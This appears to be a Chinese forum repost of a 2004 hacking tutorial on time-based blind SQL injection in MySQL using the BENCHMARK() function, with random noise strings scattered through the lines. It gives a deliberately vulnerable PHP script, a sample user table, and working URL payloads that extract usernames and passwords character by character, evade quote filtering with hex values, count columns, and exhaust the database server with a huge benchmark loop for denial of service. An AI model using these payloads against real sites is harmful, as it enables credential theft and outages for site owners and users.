找回密码
 立即注册
查看: 2615|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 - M5 N- t) e5 L/ k
本文作者:SuperHei
5 v( Y7 x# b% n% F2 G文章性质:原创( F9 @% r4 ~: q0 i4 _
发布日期:2005-01-02& f5 s, d2 u( f5 R* V' O
完成日期:2004-07-09
+ }( Q1 c: y2 P! o( c第一部) Y# V& p( ]) {0 F! o8 h
8 w5 Y, X+ N: h+ W
利用时间推延进行注射---BENCHMARK函数在注射中的利用
' p  F' F/ K- K% A1 `& e! G3 X8 [
. e/ |7 P! k& j/ @* F一.前言/思路
! |/ r2 p4 M: K% e% I4 r/ O, W  ^* q
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
; ~, }' O$ m5 E0 o2 u+ Z: X
" Q! V' k1 m+ b; P. j9 ~2 J  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。" ~9 c4 r$ u% X; x6 j7 B, u. Q

, Q2 v1 `# }, S' m( V二.关于BENCHMARK函数8 I" l& Z( a3 ^$ _

) O; S, u& `3 f) |. v4 t9 u  在MySQL参考手册里可以看到如下描叙:
  Y% U8 v+ z0 u! r/ E7 U$ ]
% x$ J1 v' r1 }+ w! {! W5 h! R0 ^6 R1 h9 A
--------------------------------------------------------------------------------
) ^. D$ t/ m* K6 B' _1 N: n3 ^
& V! g' y# V/ K7 BBENCHMARK(count,expr)
( R5 c; t! Q7 sBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 ; {( O; }+ U+ W0 H1 E" P( i- l- a
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
3 O9 n+ e0 |; r* h, Q8 i4 |+----------------------------------------------+
! N3 c- ]3 w$ o9 b' q| BENCHMARK(1000000,encode("hello","goodbye")) | : b- _1 X7 I* ?% f1 [
+----------------------------------------------+ ' l" `8 ^. q) j8 B3 w( S8 ?8 _
| 0 | # L: X5 g1 F. K* {( D5 `4 V
+----------------------------------------------+ # L% g$ `5 J0 o2 I/ M6 w, V
1 row in set (4.74 sec)
. u3 Z& w5 H! Z4 @' W4 D7 y
4 d( u$ j) h8 _. h8 i6 a$ ]% M4 ?报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。! F3 m# B( c: Z
( C, @/ y1 g# ~8 H, d) Z4 b8 C
, d5 v9 t( V  x' ~5 ]0 O* y
--------------------------------------------------------------------------------
7 z; _1 U- M% R
5 n+ h, H' W3 J$ L  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
1 F2 @  I/ X4 a6 X$ o! O
' @4 A9 Z5 v- kmysql> select md5( 'test' );
! U7 M; O7 i5 D+----------------------------------+
8 z# u, V, |4 s! || md5( 'test' ) | 9 p: ]1 y6 l7 w; R8 Q
+----------------------------------+
  W3 H# F" U1 s| 098f6bcd4621d373cade4e832627b4f6 | % c' i% S' ^+ ~  C5 R) J
+----------------------------------+
1 x3 i+ F; a) y+ p1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
; s/ x* I$ E4 {' w! I! r- k  [6 ^* Q
; t$ t# I" e! V0 M: z/ jmysql> select benchmark( 500000, md5( 'test' ) );
7 c0 P% T, D, x3 F# R% ^+------------------------------------+
) _) b. X7 k" B| benchmark( 500000, md5( 'test' ) ) | 5 {7 B- T! _1 @8 `5 {
+------------------------------------+ - y7 |' d1 \+ [( N1 g7 b& [% C4 l
| 0 |
1 C+ z' B) I9 {. V7 B+------------------------------------+
* z6 _7 c, U- f2 c1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
8 C$ X% Q8 u3 n& J
5 d6 `+ Z8 e* r+ Y4 U4 a* Z& `9 O' k7 R& ]! }
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 $ }" m4 X4 e. e6 t
! U9 S1 z- N. L5 D0 A( i6 |! I: C
三.具体例子
; t' V1 l/ f  q7 y' F. o  M1 ~; p1 H
  首先我们看个简单的php代码:! F  ^  `$ N( S# r/ ?' ~

5 c+ e, {+ i/ {< ?php
: D$ m" r, S4 p9 M& f1 h$servername = "localhost";
' }; V8 h4 c9 _- ]$dbusername = "root"; 7 b" X, t8 H9 f( ~% g
$dbpassword = ""; . V1 D  r+ _+ h; ]% A, U1 D
$dbname = "injection"; & t: _9 }# b* [9 x0 X

4 _6 d. d2 q! a9 P" K2 m! Mmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
, U" I; E4 j3 E
: B, M, P7 F: g5 b$sql = "SELECT * FROM article WHERE articleid=$id";
9 H  t' K# L; c) m5 Q* N5 G$result = mysql_db_query($dbname,$sql); ! H$ A/ E2 A) i7 d* a* k
$row = mysql_fetch_array($result);
* A7 s# o5 f  J; B) `% \3 C- B3 f# R2 b! r
if (!$row) 8 ]* u0 w6 m) p& \' d
{ 0 d1 E% g: p, |- G
exit;   H  [% j8 d! i) E2 h9 p9 g
}
+ A- M) |: I+ S9 k+ T* _$ G?>
. L: E$ b9 g) z& Z % P; L+ _/ X* c, M) Z. ^
8 k7 T) _1 [/ u- |
  数据库injection结构和内容如下:/ i/ r$ R! Q4 ?5 v) M
& z" i. T8 K% e2 i# V0 i
# 数据库 : `injection` ( j+ b2 ^4 g: W+ w9 D2 e( N
# 9 R0 j0 e7 R1 ?1 c- T7 x

, M9 r0 W1 r# {2 }# -------------------------------------------------------- $ x( W2 V; O2 u

5 c* m6 t6 e8 x# ; ^- ~# \8 i& R  S6 O- M, a
# 表的结构 `article`
- P1 E4 X  `1 s# . U6 A& W! o2 h) A+ _; G) S

5 Y7 D1 S! q$ W; k0 i" ^3 p" a$ ?CREATE TABLE `article` ( 7 K& R! V% W+ ]! c0 t& w; m
`articleid` int(11) NOT NULL auto_increment, 4 @3 h" ]& t4 M; x: |& E4 b
`title` varchar(100) NOT NULL default '',
. ?: p6 S* Y; L# t, p; N7 t`content` text NOT NULL,
+ \6 w# L# F6 \& w% m. oPRIMARY KEY (`articleid`)
$ E* I' K3 ?$ m) TYPE=MyISAM AUTO_INCREMENT=3 ;
7 L6 \, e% C* s1 X; Y
# X& n2 `, y  J$ e. \! q#
* x7 u) Q6 Z, x2 Y, w# 导出表中的数据 `article` $ J, k8 h* ?, G7 Q  y" v
#
. a7 V5 C$ k& G5 j# s1 i
# d: n9 o! |- YINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
, v2 _/ u  |( h# n, rINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
0 U& J" q+ P" H& \% Y
  @2 H+ ^" w, S# --------------------------------------------------------
9 j! k' H; A* F. P+ O$ U) b( k0 B
# 7 ?0 S- W9 u7 B) t
# 表的结构 `user` " E" N8 J. \: b1 W8 Q' P. X
# 7 I; L# u5 X! m) E

0 U: S5 _6 K& C& W4 bCREATE TABLE `user` ( . W5 ~, p" [, J8 e2 y
`userid` int(11) NOT NULL auto_increment, 8 C6 q, l6 {8 c# x, p( V, ~1 E
`username` varchar(20) NOT NULL default '',
( z3 g  c; J5 _  z`password` varchar(20) NOT NULL default '', ' ]" q( x( C3 e8 `' m$ E
PRIMARY KEY (`userid`)
1 I: u. G+ b+ g, U8 W% n! I; V) TYPE=MyISAM AUTO_INCREMENT=3 ; 0 q4 D) _% P: V

& h  ]5 |% J" s2 }# ( ~/ R7 P) s; @$ n! W: ]
# 导出表中的数据 `user`
& h* J8 ^2 Z& g0 n3 B#
  [5 s0 q+ w+ f+ n0 k: g8 t' Y2 Q2 R% `& n/ N) G
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
9 H! {! q, p2 U' z# o4 A+ V  y3 Y: zINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');0 O- m; E% H5 U% d! |$ t4 y/ \
- z  i% r7 {/ ?+ |- e, g

6 R' I) {% b9 F; Q  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:; |* I9 _* u7 @% j
: i3 T  h+ M2 Y: L5 U7 ?; ]* M
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
. e+ Q8 X  f/ r+ U5 i, Z, H; w ! [& M: v, E6 V, W7 D6 n
& r! o& Y4 H2 l" }
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
- g) G; o9 ~! {$ k
4 _. l3 E7 {; d5 N/ {  C2 `http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*. k9 F. n, U' V5 b
# G: h! \- }" z/ z5 B1 u

; `/ f/ L- h4 ^! N6 [$ E5 R  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
3 T& D" P% X+ M- I$ p) W- X  i" e
( ^! t2 E& y/ h. s1 @  d  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 3 U% m& ^) b. h* M1 F9 \& i- S
( ~6 v4 M. L! c( z0 i: Q# a
第二部
0 B" B3 J! j1 r- w( l* B  w3 p: k! t
利用BENCHMARK函数进行ddos攻击 - w' F0 ]; }5 R* w, q

/ h% j* g# ^8 Y5 E9 p4 j5 M, X" r  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:" x1 @* h$ f2 k" I1 @* o
! M: T6 C  N5 l7 ]
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
0 H' C2 @' U* z& j3 j" _& v ) j8 Q4 S( _5 k9 K; r1 X
- ~/ }$ s$ n5 t. A# ]
小结
  W% ^8 i% B# i0 M" g0 ^/ }2 H" L: L+ u6 F3 B; H( U, D7 U$ h( p
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。. d' c9 e( G* u' m, c# q) f7 h

0 E* }7 Q. a. F, v3 A6 H  
* q7 E" B1 q" ?6 E% f( G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表